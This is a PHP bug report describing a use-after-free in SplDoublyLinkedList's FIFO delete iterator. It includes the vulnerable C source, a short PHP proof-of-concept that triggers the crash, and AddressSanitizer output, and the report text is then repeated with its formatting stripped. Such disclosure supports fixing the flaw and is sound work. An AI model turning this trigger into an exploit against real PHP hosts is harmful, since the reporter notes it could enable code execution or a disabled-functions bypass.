Description
Summary
In IT_MODE_DELETE | IT_MODE_FIFO mode, spl_dllist_it_helper_move_forward() advances the iterator pointer to old->next (node B) at line 810 before that node's reference count has been incremented by the iterator. The only reference to node B at that moment is from the list itself (RC = 1).
The function then calls spl_ptr_llist_shift() to remove the old head from the list, followed by zval_ptr_dtor(&prev) to run the removed element's destructor. That destructor can execute arbitrary PHP code. If the destructor removes node B from the list (e.g., via offsetUnset(0)), node B's RC drops to zero and its memory is freed. When spl_dllist_it_helper_move_forward()
then executes SPL_LLIST_CHECK_ADDREF(*traverse_pointer_ptr) at line 823, it writes into the freed node B struct (a UAF write).
Vulnerable Source Code
// ext/spl/spl_dllist.c:794-825
static void spl_dllist_it_helper_move_forward(
spl_ptr_llist_element **traverse_pointer_ptr,
int *traverse_position_ptr,
spl_ptr_llist *llist, int flags)
{
if (*traverse_pointer_ptr) {
spl_ptr_llist_element *old = *traverse_pointer_ptr;
if (flags & SPL_DLLIST_IT_LIFO) {
...
} else {
*traverse_pointer_ptr = old->next; // line 810: advance; RC NOT bumped yet
if (flags & SPL_DLLIST_IT_DELETE) {
zval prev;
spl_ptr_llist_shift(llist, &prev); // line 814: remove head
zval_ptr_dtor(&prev); // line 816: PHP destructor fires
// can free *traverse_pointer_ptr
} else {
(*traverse_position_ptr)++;
}
}
SPL_LLIST_DELREF(old); // line 822
SPL_LLIST_CHECK_ADDREF(*traverse_pointer_ptr); // line 823: UAF WRITE if freed
}
}
// ext/spl/spl_dllist.c:38-50 -- reference count macros
#define SPL_LLIST_RC(elem) Z_EXTRA((elem)->data)
#define SPL_LLIST_DELREF(elem) if (!--SPL_LLIST_RC(elem)) { efree(elem); }
#define SPL_LLIST_CHECK_ADDREF(e) if (e) SPL_LLIST_RC(e)++ // writes rc field
How to Trigger
<?php
$list = new SplDoublyLinkedList();
$list->setIteratorMode(
SplDoublyLinkedList::IT_MODE_FIFO |
SplDoublyLinkedList::IT_MODE_DELETE
);
$list->push(new class($list) {
public function __construct(private SplDoublyLinkedList $list) {}
public function __destruct() {
if ($this->list->count() > 0) {
$this->list->offsetUnset(0);
}
}
});
$list->push(new stdClass());
foreach ($list as $item) {
unset($item);
}
Requires IT_MODE_DELETE (explicit) and an element whose destructor removes the next element from the list (e.g., offsetUnset(0) after a shift has made node B the new head at index 0).
Two constraints must both be satisfied for the destructor to fire at the critical window inside spl_dllist_it_helper_move_forward():
-
No break before the loop advances: The UAF is inside next() (spl_dllist_it_move_forward → spl_dllist_it_helper_move_forward). A break in the foreach body exits before the VM ever calls next().
-
unset($item) before the loop advances: FE_FETCH copies the element zval into $item, raising node A's data RC from 1 to 2. When next() later calls spl_ptr_llist_shift + zval_ptr_dtor(&prev), the RC drops from 2 to 1 (the destructor does not fire). For the destructor to fire during zval_ptr_dtor(&prev) (the exact window where node B is unprotected), the RC must be 1 going into next(). unset($item) inside the foreach body restores that, so that zval_ptr_dtor(&prev) drives the RC to 0 and executes __destruct while *traverse_pointer_ptr already points to node B but node B's RC has not yet been incremented.
Command:
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f5/poc.php
Output:
=================================================================
==30138==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000042fbc at pc 0x000101b0ffe0 bp 0x00016f224170 sp 0x00016f224168
READ of size 4 at 0x603000042fbc thread T0
#0 0x000101b0ffdc in spl_dllist_it_helper_move_forward spl_dllist.c:823
#1 0x000101b186bc in spl_dllist_it_move_forward spl_dllist.c:873
#2 0x000102745c1c in zend_fe_fetch_object_helper_SPEC_TAILCALL zend_vm_execute.h:55835
#3 0x000102303a9c in execute_ex zend_vm_execute.h:110168
#4 0x000102304430 in zend_execute zend_vm_execute.h:115586
#5 0x000102924b44 in zend_execute_script zend.c:1971
#6 0x000101f13658 in php_execute_script_ex main.c:2646
#7 0x000101f13bc0 in php_execute_script main.c:2686
#8 0x00010292b4b8 in do_cli php_cli.c:947
#9 0x000102929904 in main php_cli.c:1370
#10 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
0x603000042fbc is located 28 bytes inside of 32-byte region [0x603000042fa0,0x603000042fc0)
freed by thread T0 here:
#0 0x000105bad258 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41258)
#1 0x000102187664 in __zend_free zend_alloc.c:3571
#2 0x00010218b37c in _efree zend_alloc.c:2788
#3 0x000101b0f590 in zim_SplDoublyLinkedList_offsetUnset spl_dllist.c:761
#4 0x0001025b3ddc in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54785
#5 0x000102303a9c in execute_ex zend_vm_execute.h:110168
#6 0x0001022dd524 in zend_call_function zend_execute_API.c:1016
#7 0x0001022df520 in zend_call_known_function zend_execute_API.c:1114
#8 0x0001028a34fc in zend_call_known_instance_method zend_API.h:871
#9 0x0001028a0c60 in zend_call_known_instance_method_with_0_params zend_API.h:877
#10 0x0001028a05c4 in zend_objects_destroy_object zend_objects.c:171
#11 0x00010289de8c in zend_objects_store_del zend_objects_API.c:178
#12 0x0001029053d0 in rc_dtor_func zend_variables.c:56
#13 0x0001029054e4 in i_zval_ptr_dtor zend_variables.h:44
#14 0x00010290540c in zval_ptr_dtor zend_variables.c:83
#15 0x000101b0fe18 in spl_dllist_it_helper_move_forward spl_dllist.c:816
#16 0x000101b186bc in spl_dllist_it_move_forward spl_dllist.c:873
#17 0x000102745c1c in zend_fe_fetch_object_helper_SPEC_TAILCALL zend_vm_execute.h:55835
#18 0x000102303a9c in execute_ex zend_vm_execute.h:110168
#19 0x000102304430 in zend_execute zend_vm_execute.h:115586
#20 0x000102924b44 in zend_execute_script zend.c:1971
#21 0x000101f13658 in php_execute_script_ex main.c:2646
#22 0x000101f13bc0 in php_execute_script main.c:2686
#23 0x00010292b4b8 in do_cli php_cli.c:947
#24 0x000102929904 in main php_cli.c:1370
#25 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
previously allocated by thread T0 here:
#0 0x000105bad164 in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
#1 0x00010218b998 in __zend_malloc zend_alloc.c:3543
#2 0x00010218b250 in _emalloc zend_alloc.c:2778
#3 0x000101b096c8 in spl_ptr_llist_push spl_dllist.c:175
#4 0x000101b095d0 in zim_SplDoublyLinkedList_push spl_dllist.c:466
#5 0x0001025b3ddc in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54785
#6 0x000102303a9c in execute_ex zend_vm_execute.h:110168
#7 0x000102304430 in zend_execute zend_vm_execute.h:115586
#8 0x000102924b44 in zend_execute_script zend.c:1971
#9 0x000101f13658 in php_execute_script_ex main.c:2646
#10 0x000101f13bc0 in php_execute_script main.c:2686
#11 0x00010292b4b8 in do_cli php_cli.c:947
#12 0x000102929904 in main php_cli.c:1370
#13 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)
SUMMARY: AddressSanitizer: heap-use-after-free spl_dllist.c:823 in spl_dllist_it_helper_move_forward
Shadow bytes around the buggy address:
0x603000042d00: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x603000042d80: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x603000042e00: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x603000042e80: fd fd fd fd fa fa fd fd fd fa fa fa fd fd fd fa
0x603000042f00: fa fa fd fd fd fa fa fa 00 00 00 fa fa fa fd fd
=>0x603000042f80: fd fd fa fa fd fd fd[fd]fa fa fa fa fa fa fa fa
0x603000043000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x603000043080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x603000043100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x603000043180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x603000043200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==30138==ABORTING
[1] 30138 abort USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f5/poc.php
Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-86ch-g9p8-q6v3 is not part of PHP's threat model (which is wrong, but that's not my call).
"Hey, this is not a security issue. You have to write carefully crafted code to trigger this.
Please re-open this as a normal bug."
PHP Version
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
Operating System
No response
Description
Summary
In
IT_MODE_DELETE | IT_MODE_FIFOmode,spl_dllist_it_helper_move_forward()advances the iterator pointer toold->next(node B) at line 810 before that node's reference count has been incremented by the iterator. The only reference to node B at that moment is from the list itself (RC = 1).The function then calls
spl_ptr_llist_shift()to remove the old head from the list, followed byzval_ptr_dtor(&prev)to run the removed element's destructor. That destructor can execute arbitrary PHP code. If the destructor removes node B from the list (e.g., viaoffsetUnset(0)), node B's RC drops to zero and its memory is freed. Whenspl_dllist_it_helper_move_forward()then executes
SPL_LLIST_CHECK_ADDREF(*traverse_pointer_ptr)at line 823, it writes into the freed node B struct (a UAF write).Vulnerable Source Code
How to Trigger
Requires
IT_MODE_DELETE(explicit) and an element whose destructor removes the next element from the list (e.g.,offsetUnset(0)after a shift has made node B the new head at index 0).Two constraints must both be satisfied for the destructor to fire at the critical window inside
spl_dllist_it_helper_move_forward():No
breakbefore the loop advances: The UAF is insidenext()(spl_dllist_it_move_forward→spl_dllist_it_helper_move_forward). Abreakin the foreach body exits before the VM ever callsnext().unset($item)before the loop advances:FE_FETCHcopies the element zval into$item, raising node A's data RC from 1 to 2. Whennext()later callsspl_ptr_llist_shift+zval_ptr_dtor(&prev), the RC drops from 2 to 1 (the destructor does not fire). For the destructor to fire duringzval_ptr_dtor(&prev)(the exact window where node B is unprotected), the RC must be 1 going intonext().unset($item)inside the foreach body restores that, so thatzval_ptr_dtor(&prev)drives the RC to 0 and executes__destructwhile*traverse_pointer_ptralready points to node B but node B's RC has not yet been incremented.Command:
Output:
PHP Version
Operating System
No response